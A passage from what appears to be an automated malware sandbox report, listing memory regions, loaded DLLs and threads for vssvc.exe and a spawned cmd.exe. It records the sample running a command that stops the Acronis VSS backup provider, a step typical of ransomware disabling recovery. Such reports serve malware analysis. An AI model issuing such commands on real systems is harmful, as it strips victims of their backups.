"\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2615 start_va = 0x74c70000 end_va = 0x74c85fff entry_point = 0x74c70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2616 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2617 start_va = 0x74e40000 end_va = 0x74e4dfff entry_point = 0x74e40000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2618 start_va = 0x13d0000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 2619 start_va = 0x1430000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 2620 start_va = 0x14e0000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2621 start_va = 0x1530000 end_va = 0x156ffff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2622 start_va = 0x74b60000 end_va = 0x74b6efff entry_point = 0x74b60000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2623 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2624 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2625 start_va = 0x15f0000 end_va = 0x162ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 2626 start_va = 0x1630000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 2627 start_va = 0x74a70000 end_va = 0x74a86fff entry_point = 0x74a70000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 2628 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2629 start_va = 0x74900000 end_va = 0x7490ffff entry_point = 0x74900000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\SysWOW64\\vsstrace.dll" (normalized: "c:\\windows\\syswow64\\vsstrace.dll") Region: id = 2630 start_va = 0x74910000 end_va = 0x74923fff entry_point = 0x74910000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 2631 start_va = 0x74930000 end_va = 0x74a45fff entry_point = 0x74930000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\SysWOW64\\vssapi.dll" (normalized: "c:\\windows\\syswow64\\vssapi.dll") Region: id = 2632 start_va = 0x74a50000 end_va = 0x74a6ffff entry_point = 0x74a50000 region_type = mapped_file name = "vsswmi.dll" filename = "\\Windows\\SysWOW64\\wbem\\vsswmi.dll" (normalized: "c:\\windows\\syswow64\\wbem\\vsswmi.dll") Region: id = 2633 start_va = 0x75220000 end_va = 0x7522cfff entry_point = 0x75220000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2634 start_va = 0x75230000 end_va = 0x75264fff entry_point = 0x75230000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Thread: id = 105 os_tid = 0x86c Thread: id = 106 os_tid = 0x868 Thread: id = 107 os_tid = 0x864 Thread: id = 108 os_tid = 0x860 Thread: id = 109 os_tid = 0x85c Thread: id = 110 os_tid = 0x858 Thread: id = 111 os_tid = 0x854 Thread: id = 161 os_tid = 0xb0 Thread: id = 165 os_tid = 0xab4 Process: id = "39" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x3779a000" os_pid = "0x584" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "38" os_parent_pid = "0x874" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00050877" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2635 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2636 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2637 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2638 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2639 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2640 start_va = 0xc0000 end_va = 0x17ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2641 start_va = 0x180000 end_va = 0x181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2642 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2643 start_va = 0x1a0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2644 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2645 start_va = 0x230000 end_va = 0x240fff entry_point = 0x230000 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 2646 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2647 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2648 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2649 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2650 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2651 start_va = 0x500000 end_va = 0x687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2652 start_va = 0x690000 end_va = 0x810fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 2653 start_va = 0x820000 end_va = 0xc12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 2654 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2655 start_va = 0xcb0000 end_va = 0xd2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2656 start_va = 0xdd0000 end_va = 0xe4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 2657 start_va = 0xe90000 end_va = 0xf0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 2658 start_va = 0xf10000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2659 start_va = 0xf90000 end_va = 0x125efff entry_point = 0xf90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2660 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2661 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2662 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2663 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2664 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2665 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2666 start_va = 0xffa20000 end_va = 0xffbaafff entry_point = 0xffa20000 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 2667 start_va = 0x7fef4590000 end_va = 0x7fef4614fff entry_point = 0x7fef4590000 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 2668 start_va = 0x7fef46a0000 end_va = 0x7fef46abfff entry_point = 0x7fef46a0000 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Region: id = 2669 start_va = 0x7fef46b0000 end_va = 0x7fef46c3fff entry_point = 0x7fef46b0000 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 2670 start_va = 0x7fef46d0000 end_va = 0x7fef46e3fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 2671 start_va = 0x7fef6a20000 end_va = 0x7fef6a29fff entry_point = 0x7fef6a20000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 2672 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2673 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2674 start_va = 0x7fef8ed0000 end_va = 0x7fef8ed8fff entry_point = 0x7fef8ed0000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 2675 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2676 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2677 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2678 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2679 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2680 start_va = 0x7fefb810000 end_va = 0x7fefb825fff entry_point = 0x7fefb810000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2681 start_va = 0x7fefb850000 end_va = 0x7fefb868fff entry_point = 0x7fefb850000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2682 start_va = 0x7fefb870000 end_va = 0x7fefb8bffff entry_point = 0x7fefb870000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2683 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2684 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2685 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2686 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2687 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2688 start_va = 0x7fefd0a0000 end_va = 0x7fefd0cefff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2689 start_va = 0x7fefd150000 end_va = 0x7fefd163fff entry_point = 0x7fefd150000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 2690 start_va = 0x7fefd3b0000 end_va = 0x7fefd3d2fff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2691 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2692 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2693 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2694 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2695 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2696 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2697 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2698 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2699 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2700 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2701 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2702 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2703 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2704 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2705 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2706 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2707 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2708 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2709 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2710 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2711 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2712 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2713 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2714 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2715 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2716 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2717 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2718 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 112 os_tid = 0x77c Thread: id = 113 os_tid = 0x880 Thread: id = 114 os_tid = 0x724 Thread: id = 115 os_tid = 0x5ac Thread: id = 116 os_tid = 0x550 Thread: id = 117 os_tid = 0x78c Thread: id = 118 os_tid = 0x590 Thread: id = 194 os_tid = 0xbec Process: id = "40" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x302f0000" os_pid = "0x69c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Acronis VSS Provider\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2721 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2722 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2723 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2724 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2725 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2726 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2727 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2728 start_va = 0x49f60000 end_va = 0x49fabfff entry_point = 0x49f60000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2729 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2730 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2731 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2732 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2733 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2734 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2735 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2736 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2737 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2738 start_va = 0x3b0000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2739 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2740 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2741 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2742 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2743 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2744 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2745 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2746 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2747 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2748 start_va = 0x570000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2749 start_va = 0x75210000 end_va = 0x75216fff entry_point = 0x75210000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2750 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2751 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2752 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2753 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2754 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2755 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2756 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = 